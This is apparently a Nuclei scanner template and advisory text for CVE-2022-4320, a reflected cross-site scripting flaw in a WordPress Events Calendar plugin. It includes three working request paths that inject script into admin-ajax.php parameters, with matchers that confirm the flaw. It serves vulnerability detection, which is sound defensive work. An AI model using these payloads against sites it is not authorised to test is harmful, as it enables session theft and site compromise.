WordPress Events Calendar plugin before 1.4.5 contains multiple cross-site scripting vulnerabilities. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against both unauthenticated and authenticated users.
PoC
id: CVE-2022-4320
info:
name: WordPress Events Calendar <1.4.5 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress Events Calendar plugin before 1.4.5 contains multiple cross-site scripting vulnerabilities. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against both unauthenticated and authenticated users.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: Fixed in version 1.4.5.
reference:
- https://wpscan.com/vulnerability/f1244c57-d886-4a6e-8cdb-18404e8c153c
- https://nvd.nist.gov/vuln/detail/CVE-2022-4320
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-4320
cwe-id: CWE-79
epss-score: 0.00891
epss-percentile: 0.57615
cpe: cpe:2.3:a:mhsoftware:wordpress_events_calendar_plugin:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: mhsoftware
product: wordpress_events_calendar_plugin
framework: wordpress
tags: cve,cve2022,calendar,event,xss,wordpress,wp,wp-plugin,wpscan,mhsoftware,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX"><script>alert(document.cookie)</script>'
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(document.cookie)</script>'
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=--><script>alert(document.cookie)</script>'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'imgNavLeftXX\"><script>alert(document.cookie)</script>'
- '<script>alert(document.cookie)</script>({});'
- '><script>alert(document.cookie)</script>.js'
condition: or
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502201c31068c28145506101d05e7e42403aa96f2d38143e4b4f3c131da80987d26130221009b2776be0ba5a92685050d5cbbd3ff649cb74d7dbdacc01dce6d3ffa899f94aa:922c64590222798bb761d5b6d8e72950
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